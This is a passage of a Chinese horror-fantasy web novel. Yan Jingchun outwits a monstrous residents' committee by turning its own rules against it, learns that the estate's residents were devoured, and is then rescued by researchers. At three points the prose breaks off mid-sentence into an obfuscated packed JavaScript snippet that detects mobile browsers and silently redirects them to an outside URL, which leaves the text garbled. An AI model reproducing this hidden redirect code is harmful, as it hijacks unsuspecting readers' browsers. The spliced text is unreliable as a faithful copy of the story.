之前受到蜕的攻击后,她因紧张和腿伤而转移了注意力,腹中的饥饿感似乎没那么明显了,萦绕鼻端的香味也能勉强忽视。 可如今居委会里所有的蜕齐聚一堂,周围的香味骤然变得极为浓郁,雁惊春的肚子再度发出饥饿的哀嚎。 好香。 好香好香好香。 这里的每一只蜕都好香,尤其二婶身上的香味更浓。 她也不知道自己这是怎么了,以她作为人类时的常识和认知,二婶的外形明明该是恶心、可憎、令人作呕的。 可现在她看着二婶,却觉得它一定无比美味。 她从小就没吃过什么好东西,突然面对这样的美食诱惑,大脑一时宕机,只能一味地吞口水。 捕食的本能催促着她:杀了它,吃掉它。 * 二婶不知道这个女人在想什么,只觉得她的眼神令它很不舒服。 这愈加激发了它的恶意,它毫不犹豫地向雁惊春走去:“有新人加入了我们居委会的大家庭,这是好事。可新人到现在还没完成由居民到委员的身份转变,这就很不好了。” 说着它伸出手,向雁惊春身上压去。 雁惊春当即惊醒,猛地后撤一步避开它的大手,同时亮出了【行医资格证】。 二婶动作微顿,笑了:“哎呦,我们的新人原来还是个医生啊。” 太好了,她的技能对二婶也有效! 雁惊春正准备乘胜追击,却见二婶的嘴角向下一压,语气忽然一转:“不过,医生在我们居委会,没用。” 它表情不屑:“你之前在小区里靠着医生的身份忽悠了不少居民吧?所以才赢得了本期评比,加入了我们居委会。但是你要知道,在居委会,你那一套没用了。” 二婶捕捉到雁惊春脸上一瞬的错愕,得意地拍着肚子上的肥肉哈哈大笑:“这就是我说的,新人要转变身份啊,要完成从居民到委员的身份转变啊!” “八姐搞砸了你的入会转化,但别担心,我会亲自帮你转变身份的。”二婶示意两侧的蜕们上前制住雁惊春,同时再度伸出了手。 “忘了你的医生身份吧,从现在开始,你就是我们居委会的委员了。” 8. 和谐小区8 雁惊春侧身闪过一只蜕的扑击,同时手中斩骨刀一转,斩断另一只蜕伸来的手臂,大脑飞速运转。 她和织茧者的等级同为蠕虫,为何二婶却能无视她的精神污染,对她的医生身份不屑一顾? 她暗自对比居委会和小区里蜕的差异,脑中浮现出一个猜想:莫非居委会和小区里用的是两套不同的规则? 在小区里,每个家庭都是平等的,因此在她说服蜕们惩治“叛徒”、自称医生动员“体检”时,只要打着“为了和谐”的旗号,它们就愿意信服。 可居委会有明显的阶级之分,她作为新加入居委会的成员,地位处于居委会的最底层,无论再怎么巧舌如簧,也没有立规矩的资格。 要想让蜕们遵从她的医嘱,就必须提升她在居委会中的地位。 在将自己的频道从“杀死织茧者”调整为“春春升职记”后,雁惊春干脆地放弃了无谓的突围,转而冲着二婶大吼:“你说错了!” 二婶好笑地俯视着她:“你说我错了?你以为医生有什么了不起......” 雁惊春:“我没什么了不起的,但你说是八姐搞砸了我的入会转化,这句话错了!这次失败明明是你的责任!” 此言一出,二婶的脸色肉眼可见的沉了下来。它迈步抬手,硕大的身体逼近雁惊春,巨掌于她头顶压下浓黑的阴影。 雁惊春语速飞快:“你说我是靠忽悠小区居民进的居委会?没错!但我进居委会不是为了自己,是为了八姐!” “我在小区里就听说了,八姐身体不好,你却还让它当副主任,给它安排了很多工作。你知不知道,病人就该退居二线好好休养啊!” 即将落到雁惊春身上的巨掌停住了,二婶缓缓直起身,打量她几眼,又斜睨向身后的八姐。 原本冷眼旁观的八姐一个激灵:坏了,冲我来的! 它急忙上前:“二婶,您别听她胡说!我根本没病!” 雁惊春捂住胸口:“八姐你不要忌疾讳医了,看到你逞强的样子,我好心痛!” 八姐的目光刀子似的刮向雁惊春:“像你这种恶意造谣的委员,按我们居委会的规矩......” “居委会的规矩,也该更新了。”二婶慢悠悠开口,“我作为居委会主任,居委会最有权威的成员,在此颁布一条新规则:生病的委员不论有无职务,都要退出居委会进行休养。” 雁惊春暗松口气,她赌对了。八姐是居委会的副主任,又有自己的派系,二婶对它的态度多有防备,肯定不会放过这个排除异己的机会。 如今二婶要利用她的医生身份,那她在八姐被赶出居委会前就是安全的。 雁惊春面露喜色:“多谢二婶!这里不太方便,不如我先找个地方,去给八姐开个诊断?” 二婶侧开身体,让出了食堂大门:“去吧,不过你别忘了,八姐是我们居委会的副主任,可由不得你胡乱诊断。诊断结果要先给我看,没问题再由我宣读。” 雁惊春点点头,明白二婶这是不信任自己,所以要亲自确认诊断结果能否将八姐赶出居委会。 她率先出门,领着一众蜕在居委会里走动,寻找合适的房间。 居委会占地颇广,会议室、办公室等一应俱全,雁惊春却挨个挑毛病,直到走过一间资料室,才表示可以在此治疗。 这间资料室与其它房间不同,门和门框都是铁制的,且门洞对八姐而言都有些狭小。八姐本不想进去,却在二婶的命令下不得不挤进了房间。 等它进门后,雁惊春也跟了进去,握住门把:“二嫂,我现在就给八姐看诊,等下结果出来就叫你。” 说完,她关上房门。 下一瞬,一道劲风向她背后袭来,雁惊春反应极快地矮身闪躲,却还是被擦到了肩膀,一块皮肉顷刻间便被撕下,鲜血喷涌而出。 她咬紧牙关,忍住了痛呼。好在伤口和之前一样眨眼间便消失了,没影响到她的行动,让她顺利躲开了第二次袭击。 她转身面向满脸怨毒的八姐,压低声音:“八姐,你冷静点,我真的是来帮你的!” 八姐冷哼一声:“帮我?那就不要再躲了,乖乖把你这身肉给我吧!” 雁惊春在资料柜间左躲右闪,飞快地为自己辩解:“八姐,你仔细想想,如果我真要害你,直接在食堂宣告你有病不就好了?干嘛还要和你单独相处?” “我其实是为了跟你联手把二婶赶出居委会,才特意找机会和你私下商量的!” 八姐动作微顿,但很快又拍来一掌:“又在说谎!二婶现在是居委会里最有威望的,你想把我赶出去,不就是为了巴结它吗?” “我巴结它也没用呀,它只是把我当工具人,就算我帮它把你赶出去也得不到重用的。”雁惊春循循善诱,“比起锦上添花,我还是更愿意雪中送炭啊。” 八姐终于停止了攻击,警惕地看着她:“你到底想做什么?” 雁惊春瞅了瞅门口,小声问:“八姐,有火吗?” * 资料室门外,八姐派的蜕个个面露惊惶,想向同伴寻求安慰却又不敢吭声,只能彼此对望。 与之相反,二婶派的蜕洋洋得意,甚至已经开始对八姐派指指点点,探讨等下要如何瓜分它们的肉了。 就在这时,资料室内的呼唤打破了紧张的氛围:“二婶,八姐的诊断结果出来了,你要不要进来看看?” 二婶早已等得有些不耐烦,闻言迫不及待地撞开资料室的门往里挤去。 不料下一刻,它口中突然爆发出巨大的嚎叫:“啊——” 它的喊声太大,完全盖过了它身上的肉与烧热的铁门接触时发出的“滋滋”声响。 八姐站在门内,将几份资料丢进门边的火堆中,让火烧得更旺。 雁惊春则趁着二婶没反应过来,如攀岩般手脚并用地爬上它凹凸不平的肚皮。 她手心与脚底的皮肤每次接触到二婶的肉,再抬起时都会变得血肉模糊,而后又飞速复原。 她强忍疼痛,踩到二婶的胸口上,在二婶惊怒交加的眼神中举刀削下了它的唇舌。 确保二婶无法再发号施令后,雁惊春从它身上一跃而下,开始了她的表演:“二婶,你怎么了,是有哪里痛吗?告诉我吧,我是医生,一定能帮到你的!” 资料室的大门被二婶臃肿的身体堵得严严实实,门外的蜕根本不知道发生了什么,只听到二婶在惨叫一声后便恢复了安静,只有身体还在不断蠕动挣扎。 然而这道门于它而言过于窄小,灼热的门框又将它外层的肉烤焦粘住,它挣扎得越厉害只会越痛苦,很快它就连挣扎也不敢了。 资料室外的蜕们起初还在因二婶的异状而焦躁不安,现在二婶平静了下来,它们便也安静地在外等待。 一时间,资料室内外只剩下雁惊春报病名的声音:“二婶,你现在是不是很难受?这都是过于肥胖导致的。根据我的诊断,你现在的病症有高血压、高血脂、冠心病、糖尿病、脂肪肝、胆结石..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746779|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .” 听见雁惊春的诊断,资料室外的蜕们开始交头接耳: “心是什么?” “不知道啊,我还想问你肝和胆都是什么东西呢!” “我们的身体里有那些玩意儿吗?” “不知道啊,反正听医生的意思,二婶是有那些病的。” 资料室内,雁惊春已经将全部能想到的病名宣读完毕,笑眯眯地询问:“二婶,你现在的病大概就是这些了,有什么异议吗?有的话可以说出来,我尊重你的意愿。” 在她握着的刀上,赫然穿着二婶被割下的唇舌。它们此时还在不死心地蠕动,却根本无法发出声音。 二婶目眦欲裂地盯着她,忽然开始不顾疼痛地奋力挣扎。 外层的肉随着它的动作层层剥落,这些肉曾是它最宝贝的东西,但它如今对雁惊春的仇恨已经胜过了一切,即便瘦上几圈,它也一定要冲到雁惊春的面前,狠狠扭下她的脑袋! 雁惊春见势不妙,开始后退:“好了,既然二婶没有异议,那你的病症就确定下来了。” 二婶撕下了最外层的肉,那些肉粘在滚热的铁门上,竟起到了隔离效果,让它顺利向里挤了一大截。 “根据我们居委会不久前颁布的新规则,生病的委员不论有无职务——” 二婶背后的肉再度将它卡在了门口,它毫不犹豫地将门框外的肉全部舍弃,直直向雁惊春扑去。 “——都要退出居委会进行休养。”雁惊春冷酷地宣判,“二婶,你有病。” 刹那间,扑向她的二婶、堆在资料室门口的肥肉、刀尖上的唇舌都消失的无影无踪。 二婶被它自己制定的规则逐出了居委会。 然而茧却没有因此破灭。 雁惊春对这个结果并不意外,二婶虽然体型最大、地位最高,但是并没有谢臻描述的织茧者那样的掌控力。 倘若二婶是织茧者,那居委会里就不可能存在“八姐派”,所有的蜕都该效忠二婶才对。 “织茧者能自行制定茧内的规则和逻辑”,在这个茧内,符合这个描述的只有—— 和谐小区居委会。 这个茧的织茧者根本不是某个独立的个体,而是居委会本身。无论是小区的居民,还是居委会的委员,都要遵守居委会定下的规则。 即便居委会内最具权威的委员拥有制定规则的权力,但一旦这条规则被冠以居委会的名头开始实行,那么就连规则制定者也不可违背。 “二婶居然真的退出居委会了......” 资料室外的蜕不可置信地喃喃着,一个接一个走进资料室,将雁惊春和八姐围在中间。 “既然二婶不在了,那就该由八姐担任新的居委会主任!”八姐派的蜕高声提议。 二婶派自然不愿让老对头得势,它们的目光在屋里扫来扫去,最后竟停留在了雁惊春身上:“新来的委员是个医生,还帮二婶诊出了疾病,她来当主任更合适!” 八姐的脸上原本带着笑,听了这话表情瞬间变冷:“医生?你们是不是忘了,她还没完成转化。等她转化完就是和你们一样的委员了,不是什么医生!” 语毕,它阴沉着脸望向雁惊春,假惺惺道:“真是不好意思,刚刚忙着给二婶看病,害你没来得及完成转化,我现在就帮你补上。” 雁惊春倒吸一口凉气。不是吧,刚帮你解决完死对头,你立马就要背刺,这么不和谐的吗? 这个和谐小区居委会,是真该整顿了啊。 9. 和谐小区(完) 八姐见识过眼前这人的邪门,靠近时十分谨慎。 雁惊春却有些心不在焉地想着,现在人类的食物对她毫无作用,只有织茧者才能勾起她的食欲,说明她离人类已经比较远了,反而更接近怪物。 这种情况下,它们的“转化”对她还会有效吗? 不过不论有效与否,她都不想亲身体验就是了。 想到这里,雁惊春主动上前,接近了八姐。 八姐条件反射般后退一大步,又与她拉开了距离。 雁惊春:“?” 现在应该是你要害我吧?怎么搞得好像我才是坏人? 八姐为自己下意识的退避感到丢脸,面色铁青地威胁:“我劝你别想耍什么花招,现在居委会的委员们都在,就算你想抵抗转化......” “八姐你想什么呢,我从来没有过抵抗转化的念头,更不打算当主任。”雁惊春张开双臂,“我只想扶持一名合适的委员做主任,给自己找个靠山而已。” 八姐的表情略微放松:“那......” “但是看如今的状况,你还没法稳坐主任之位啊。”雁惊春摇头叹气,“看来我还得再帮你一把才行。” “你要怎么帮我?”有了之前放逐二婶的经历,八姐这回很快便被说服。 雁惊春笑而不语,转头盯住二婶派的一排蜕,目光在它们之间扫来扫去。 直到它们的神情愈发不安,纷纷主动避开视线,她才重新开口:“它们和二婶待得久了,生活习惯相似,会不会也染上了和二婶相同的病呢?” 八姐立刻会意,她这是要利用自己的医生身份,像赶走二婶一样驱逐这些派系不同的蜕! “有道理,应该给它们也做个检查!”八姐连忙表示赞成。 其它蜕也逐渐反应过来了雁惊春的意思,二婶派的蜕目露惊恐,意欲逃跑,却被八姐派的蜕截住:“医生,我们帮你拦着它们,你安心看病就好!” 雁惊春淡淡地“嗯”了一声,背着手不紧不慢地踱进蜕群,所过之处,所有蜕都下意识地给她让路。 它们的脑袋随着她的脚步偏转,目光始终投注在她身上,凝视着她的一举一动。 “你,有病。”雁惊春指着一只蜕宣布了诊断,那只蜕瞬间原地消失。 她又走向下一只蜕:“你也......嗯?你问是什么病?呃......拖延症吧。” “你有社交恐惧症,这种情况还待在居委会,不是折磨自己吗?尽早退出对你而言是好事。”她几句话的工夫,第三只蜕也消失无踪。 “至于你——”雁惊春走到九叔跟前,突然话锋一转:“恭喜你,你很健康。” 此言一出,在场的蜕无不面露讶异,八姐更是忍不住直接质问:“医生,你看错了吧?它可是二婶那边......” “冷静,冷静。”雁惊春抬手往下压了压,“刚才二婶为了惩罚它,不是拿走了它一大块肉吗?可能它身上的病就是在那时被带走的。” 八姐:这简直是胡说八道!它们有没有病不都是你一句话的事吗? 八姐难以理解雁惊春放过敌对派成员的行为,但眼看着她已经开始为下一只蜕下达诊断,也只得暂时咽下了这口气。 它安慰自己,一只蜕罢了,等她完成所有诊断后再处理也不迟。 然而出乎它意料的是,没过多久雁惊春又放过了一只向她卑微求饶的二婶派蜕,再次开出了“健康”诊断。 这下不等八姐发作,八姐派的五伯便按捺不住跳了出来,拦在雁惊春身前:“喂,你这是什么意思!” 雁惊春不慌不忙地瞥它一眼:“狂躁症,抬走,下一位。” 五伯的身影霎时消散,甚至都没来得及露出惊愕的表情。 她驱逐了一只八姐派的蜕。这种行为比放过二婶派的蜕更加出格,可这次室内却陷入了死寂,没有一只蜕敢表示不满。 八姐后知后觉地意识到,只要雁惊春愿意,自己被驱逐也只是她一句话的事。 当然,它也可以联合其它蜕一起反抗,强行剥夺她的医生身份,将她变成委员。毕竟她只有一个人、一张嘴,只要它们联合起来同时发动攻击,就一定能将她制服。 但是......如果它带头行动,必定会首当其冲,被她以“有病”为由逐出居委会。 要不就忍忍吧?反正她不想当主任,也没有把所有蜕都驱逐的意思,那只要对她态度和气一点、恭谨一点,自己就是安全的,主任的位置也还是自己的。 不仅八姐是这样想的,其它蜕也产生了相似的想法:只要姿态谦卑些能够保全自己就行了,没必要为了其它委员强出头,反正二婶在的时候不也是这么过来的吗? 这些想法自然而然地体现在了它们的行为上,身处其中的雁惊春明显地感觉到,这些蜕突然变得很爱笑。 每一只蜕都地冲她笑着,夸奖她的医术、称赞她的贡献,只为了从她口中得到“健康”的诊断。 雁惊春也对它们回以和善的微笑。至此,她的目的已经彻底达成。 在发现居委会内并不像小区里一样“和谐”后,她便决定要利用蜕们争权夺利、排除异己的习性来提升自身地位。 为此她先替二婶找到了驱逐八姐的借口,骗它定下新规则,让“医生”这个身份拥有了驱逐委员的实权。 但是二婶的掌控力太强了,雁惊春很难左右它的想法。如果顺着二婶的意思放逐八姐,只会让它的威望更进一步,对雁惊春本人毫无宜处。 因此她选择了倒戈,和八姐联手除掉最具威望的二婶,再以替八姐斩草除根的名义向所有蜕展示实力—— 二婶派的蜕,只要顺她心意便可逃过一劫;八姐派的蜕,但凡惹她不快照样难逃驱逐。 她让所有蜕都意识到,它们的存亡都在她一念之间,同时又控制着尺度,以免逼得太紧叫它们联手反抗。 于是,属于她的威望就此建立。 随着地位的飞跃,雁惊春所闻到的香味也有了明显变化。 起初的香味,像是她在第5区读书时路过装潢精美的餐厅所闻到的味道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746780|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诱人的美食总是与她隔着一层玻璃,只能看却不能吃。 如今的香味则像是她走进了餐厅,坐到了桌旁,拿起了刀叉,饕餮盛宴摆在眼前,她轻而易举便可享用。 这说明她已经成为了居委会中最具威望的成员,拥有了制定规则的权力,相当于扼住了织茧者的咽喉。 居委会沿用至今的规则在她脑海中浮现,她得知了新规则不能与旧规则产生冲突,因此不能直接下令让居委会消失,但是如果在旧规则的基础上加一个限定条件或许可行。 雁惊春清了清嗓子,高声宣布:“我作为居委会最有权威的成员,在此颁布一条新规则:和谐小区居委会应当在居委会主任的领导下运行,因此当主任职位空缺时,居委会应当解散。” 话音落下,整个空间瞬间激烈地震荡、扭曲起来。 蜕们意识到自己被耍了,表情变得扭曲狰狞。直到此刻,它们终于重归“和谐”,将彼此的身体融合在一起,组成了庞大扭曲、挤满四肢与头颅的肉山,向雁惊春压来。 然而还没等接触到雁惊春的身体,它们便如融化的蜡人般塌陷下去,无力地瘫软在地,只能在黏糊糊的肉泥中用不甘的眼神瞪视雁惊春。 居委会的建筑也在逐渐崩毁,日光射穿了残垣断壁,照在雁惊春的身上。 她的影子投到了居委会的残骸和蜕们的残肢上,因此也变得扭曲无比,仿佛她才是面容可憎的怪物。 腹中的饥饿感终于消失,雁惊春默默感受着织茧者消亡带来的饱足,眯起眼睛,抬手遮住了刺目的日光:“原来天已经亮了啊。” * 谢臻蜷缩着身体,视线有些模糊。 在他周围,原本被筑巢般垒起的衣物已经变得散乱不堪,不少衣服上还浸染了血迹。 已经过了好久了。她已经好久都没有再次受伤了。 谢臻当然不希望雁惊春受伤,但从某种意义上讲,能受伤就代表她还活着,没有在他不知道的地方悄无声息地死去。 代她受过的伤口已然治愈,谢臻不禁再一次懊恼自己无法提供更多帮助。 不行,不能让自己的注意力分散了。要集中精神去想她,否则链接可能会断开的。 谢臻正竭力压下心中的焦虑和不安,腕上的光脑却忽然震了一下,momo的声音传出:“警告!检测到茧内能量产生异常波动,请注意——” 话未说完,momo的声音便戛然而止。正当谢臻紧张地想问是不是织茧者发生了异变时,光脑上却倏地弹出一条提示: 【行动组谢臻,恭喜您已成功破茧。】 谢臻怔了怔,立即翻身坐起。与此同时,一个熟悉的身影推门走了进来。 雁惊春只想回家补个觉,完全没料到谢臻会出现在自己的房间里,更没料到他会是这幅衣衫凌乱、眼眶泛红的模样。 再仔细一看,她发现自己的衣服不知为何都被他翻出来铺在了身下,而且他的身上和自己的衣服上还都沾染了可疑的暗红色。 雁惊春:“......嗯?” 10. 怪物 谢臻见雁惊春平安无事,满脸惊喜地站起身,正要上前迎接,却注意到了她欲言又止的神情。 他顿住脚步,忽然反应过来,现在的他看起来就是一个私闯民宅、擅自翻别人衣服还躺在上面过夜的变态。 “等等,你别误会!不是你想得那样!”他慌忙开口想要解释。 雁惊春却突然指向他的肩膀:“那是什么?你受伤了?” 谢臻低头看去,发现她指的是自己肩头残留的那片血迹,猩红的血色晕染在洁白的衬衫上,格外显眼。 还没等他回答,雁惊春已经快步走到他面前,皱着眉上下打量,很快便发现他裤子的下半截也隐约透着暗红色。 雁惊春意识到了什么,立即抓起他的手,翻看他的掌心。 他的手毫无受伤的痕迹,但鲜血却浸透了他掌中的每一道纹路,就连修剪得圆润整洁的指甲里都残存着血污。 “真是奇怪啊。”雁惊春捏着他的手,抬眼与他对视:“居然和我受伤的位置一模一样。” 谢臻面色有些泛红:“这是我的技能之一【紧急救援】,能够将心中所想之人受到的非致命伤转移到我身上。只要心中的念想足够强烈,就可以无视空间距离建立链接。” “我之所以会留在你家、将你的衣物围在身边,都是为了让链接更加稳定,绝对没有私心!”他抓住机会赶忙澄清。 雁惊春听完解释,立刻明白过来,她在居委会几次受伤都能顷刻痊愈,就是因为谢臻将那些伤害都转移到了他自己身上,再用天赋【援护·战地医生】让转移来的伤口逐渐愈合。 她的心情有些复杂,不明白谢臻为什么会为了帮她而甘愿受这种罪。 她松开谢臻,语气不自觉温和了些:“多谢,要不是有你在暗中帮我,我恐怕没法这么顺利地解决织茧者。你是不是很痛?” 谢臻笑着摇摇头。 雁惊春偷偷瞥了眼他泛红的眼眶,决定不去揭穿他被疼哭的事实。 谢臻浑然不知自己已经暴露,神态如常:“对了,你的能力和天赋都如此出众,要不要考虑加入破茧行动组?” 雁惊春之所以急着破茧,本就是为了避开【蝶】特性能力者,以免暴露身份,怎么可能主动凑上去? 她连连摆手:“不了不了,我很满意现在的稳定工作,正适合我这种背了房贷的人,暂时不考虑跳槽。” 谢臻并不强求:“好吧,如果你改变主意了,欢迎随时联系我。” “连续战斗这么久一定很累吧?我先不打扰你了。等你休息好了,我再来向你赔偿衣物的损失。”他说完点头致意,向门口走去。 想到他也一夜没睡,雁惊春叫住他:“现在小区已经恢复正常了,我那些邻居......我是指人类邻居,应该也回来了。你再去楼下不太方便,干脆在我家冲个澡休息一下吧。” 谢臻停下脚步,半晌才开口:“已经没有其他居民了。” 雁惊春愣了下,心头涌上不详的预感:“你的意思该不会是……这个小区可是住了上千人的!” 谢臻背对着雁惊春,她看不见他脸上的表情,只能听见他毫无起伏的语调:“没有孵化的普通人,在织茧者面前根本无力反抗。我来之前,他们的精神就已经被织茧者蚀空,只剩下一具具空壳了。” “织茧者......会吃人?”雁惊春轻声呢喃着,只觉浑身发冷。 的确,她在这一天多的时间里没有见过除谢臻以外的人类,可她下意识地回避了最坏的猜想,一心只想消灭织茧者,让小区恢复正常。 在她的潜意识里,小区恢复正常后,原本住在小区的那些人也会重新出现。 毕竟他们每个人都是掏空了钱包、背上了债务,才能在第9区条件较好的和谐小区安家,即便这里曾被织茧者侵占,他们也不会放弃自己的房子。 结果他们的确没有放弃,或者说,他们没能离开。数以千计的生命,让原本熙熙攘攘的小区变成了寂若死灰的墓园。 而吞噬了他们的织茧者,此刻已化作了她腹中的食物。 她到底变成了怎样的怪物? 谢臻转过身看见雁惊春恍惚的神情,目露不忍,正欲开口安慰,腕上的光脑却不合时宜地疯狂震动起来。 与此同时,雁惊春的光脑也拼命弹出提示音,老旧的光脑难以同时处理如此多信息,很快便开始发烫。 雁惊春猛地从沉重的思绪中抽离,在与谢臻对视一眼后,她示意他可以随意接听通讯,不用在意自己,随后走向卧室进行回避。 谢臻目送着她关上卧室门,轻叹口气。安全区向平民隐瞒了织茧者的存在,她恐怕还不清楚织茧者的可怖之处。 或许不加入破茧组织对她而言是好事。 光脑还在不停震动,谢臻回过神来,按下接通。 霎时间,一道焦急的男声从光脑中传出:“谢臻!还活着吗!” 谢臻莫名其妙:“活着,怎么了?” 通话那头的人明显松了口气:“那就好那就好。我刚完成破茧任务,发现联系不上你,一查才知道,你一个天赋是援护的雄蜂居然被派去独自执行任务了,连个支援都没给你安排!” 谢臻蹙起眉:“没有支援?可调度员明明和我说......” 对面的人打断了他的话:“对接你的那个调度员,昨天连续吞下了三把剪刀,已经抢救无效身亡了。” * 另一边,回到卧室的雁惊春原本在思索自己如今的身份,却被响个不停的消息提示音扰得无法集中,索性点开了光脑。 由于信号已经恢复,堆积的消息提示接连弹出,整个光屏彻底卡死。 她早已习惯了这台三手光脑的迟钝,点击了一下在线通讯,便开始耐心等待光脑反应。 这次光脑卡顿的时间比以往更长,雁惊春有些疑惑,她之前有段时间神志不清,没看光脑,可那顶多也就一周吧?怎么会积攒下这么多消息? 她又等了半晌,在线通讯的界面终于迟缓地打开,一排红点映入眼帘。 她划拉两下,发现都是平日里关系一般的同事发来的,一眼望去全是整齐的蜡烛表情和“安息”字样。 雁惊春:??? 她不明所以地点进其中一个聊天框。 这是与她相邻工位的同事,最后一条消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746781|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息内容是:“愿你安息,一路走好,下辈子投胎到第3区。【蜡烛】【蜡烛】” 消息发送时间是两个月前。 等等,两个月前? 雁惊春吃了一惊,连忙打开光脑的状态栏查看,这才发现当前的日期距离她上次上班已经过去了三个多月。 她迅速下滑屏幕,翻看聊天记录。在她旷工的第一天,同事发消息问她是不是睡过了头;旷工第三天,同事开始问她是不是遇到了麻烦。 再之后,则是转告她:“老板联系不上你,正大发雷霆呢。”,“公司已经宣布要辞退你了,还说要追缴你旷工造成的损失,这段时间你小心点,别让公司的人撞见。” 最后就是两个月前,他们不知从哪里收到的消息,一致认为她死了,纷纷开始祝她一路走好。 雁惊春:...... 原来她这辈子人缘最好的时候,是大家都以为她死了的时候。 慢着,那她的房贷呢?不会断供了吧?断供三个月可就要收回房产了! 她赶紧点进银行APP,在看到还款记录后终于松了口气。 还好,她没有断供。在所有人都以为她死了的时候,银行的贷款仍坚持认为她还活着,每个月按时从她的账户里划钱,而今只给她剩下了两位数的存款。 雁惊春将光脑扔到一边,无力地仰躺在床上。她一直觉得自己的心态很好,之前月入一千八,还能每天笑哈哈。 可目前她连这一千八的稳定收入都没了,一旦返回公司还要面临高额罚款。账上只剩几十块,饭都要吃不起了,下一期该还的一千块房贷更是没有着落。 雁惊春莫名地笑了两声,自言自语:“该死的三个月......” 只是该死的三个月,就能把她花了二十多年才得到的稳定生活搞得一团糟。 仔细想想,她从遭遇精神污染到逃离小区的时间似乎不长,因为当时小区还能自由进出,茧应当尚未完全形成。 而从她击杀“弟弟”至今,消耗的时间是可以确定的,只有不到两天。 那么这三个月的时间,应该就是在她离开小区之后、击杀“弟弟”之前流逝的。 她试着在脑中搜寻那段时间的记忆,和之前一样,巨大的危机感再度袭来,仿佛汹涌的海浪即将砸落、倾颓的危楼即将坍塌。 但这次她没有退缩,执拗地想要知道那该死的三个月到底发生了什么,以至于扰乱了她的生活,将她变成了如今这样的怪物! 随着探究的深入,她的双眼传来剧痛,像是有无形之手意欲捏爆她的眼球。紧接着她的大脑仿佛被谁撕裂,耳边也开始出现嗡鸣。 一股鲜血涌上喉头,她被呛了一下,艰难地偏过头去,让口中的血液能够顺着嘴角流出。 意识模糊间,她似乎窥见了一团阴影。 然而她在祂的面前太过渺小,只能隐约看到祂身上生长着无数与她手臂长短粗细相似的刚毛,正随着祂的身体不住起伏。 耳鸣骤然加剧,拼凑成了一句时断时续的呓语: 【恭口口口已口成了口次捕食。】 雁惊春再也支撑不住,昏了过去。 11. 江开 【恭喜您治愈了一名患者!解锁技能:医护聘用书】 【医护聘用书:您可以通过填写聘用书招聘符合诊所等级的医护,该医护仅能在您的诊所中工作。当该医护损毁后,您可以重新进行招聘。】 【当前持有医护聘用书数量:1】 雁惊春刚从昏沉中惊醒,脑海中便被硬塞进了一段技能介绍。 消灭织茧者后获得的饱腹感已经消失,新技能恰好在此时出现,难不成这技能是靠着“消化”了织茧者得来的? 她脑中不由得浮现出织茧者消亡前的样子——一坨插满了胳膊、腿和脑袋的肉山。 噫,一想到自己消化了这么个玩意儿就觉得好恶心。 她连忙转移注意力,开始感受自己此时的状态。如今她浑身的疼痛感已然消失,只是手脚都软绵绵的使不上力气,疲惫得连眼皮都懒得掀开。 还好,她还活着。 起初她以为只要压抑住内心的恐惧感就能窥见真相,没想到这一举动会给自己的身体造成如此大的伤害。 她并没有执着到愿意为了真相付出性命的程度,当感受到疼痛后,便打算停止思考,却发现自己已泥足深陷,难以抽身,只能被扯入更深的回忆之中。 就好像有谁在对她说:不要看,不要看。诶,明明警告过你了,你怎么非要看? 好啊,那就让你看看。 什么?你现在又不想看了?那不行,来都来了,你今天必须得看。 于是她被按着头看了一眼,这一眼就差点把她看死。 哇塞,这也太小心眼了吧?再说她也没看到什么啊?不就是...... “再继续窥伺,就真的救不回来了。”不远处传来沙哑的女声,雁惊春猛地睁开眼睛。 映入眼帘的是一名穿着白大褂、顶着鸡窝头的女人,她看起来约莫四十多岁,即便戴着眼镜也难以遮掩住眼下的青黑。 对上雁惊春警惕的眼神,女人露出温和的微笑:“你好,我叫江开,是破茧研究组的。我男儿告诉我,他朋友谢臻遇到了一名状态不佳的能力者,单凭谢臻的天赋难以治愈,所以喊我过来帮忙。” 听到耳熟的名字,雁惊春放松了些许。 她环顾四周,这才发现自己已离开卧室。窗外的楼宇飞速划过,她意识到自己正处于飞行器中。 江开顺着她的视线往窗外看了一眼,解释道:“谢臻发现你出事时,你的情况已经十分危急。为了尽快施救,我们只能分别从第9区和第2区出发,在途中会合,再将你接到飞行器上救治。” 雁惊春笑容爽朗:“多谢你们救了我一命,我还以为自己要死了呢。” “主要原因还是你比较幸运,没有引起祂的注意。否则就算我们再怎么尽快施救,也是无力回天。”江开在面前的仪器上点击了几下,拿起两个圆形薄片。 雁惊春试探着问:“你说的祂......是什么?” “嘘,以你现在的等级,就算是提到祂都很危险。”江开表情严肃,“你记住,不要提及,不要思考,不要探究。你不久前才试图窥伺过祂,如果再有所行动,引来祂的回望,你必死无疑。” 雁惊春一凛,老老实实点头应下。 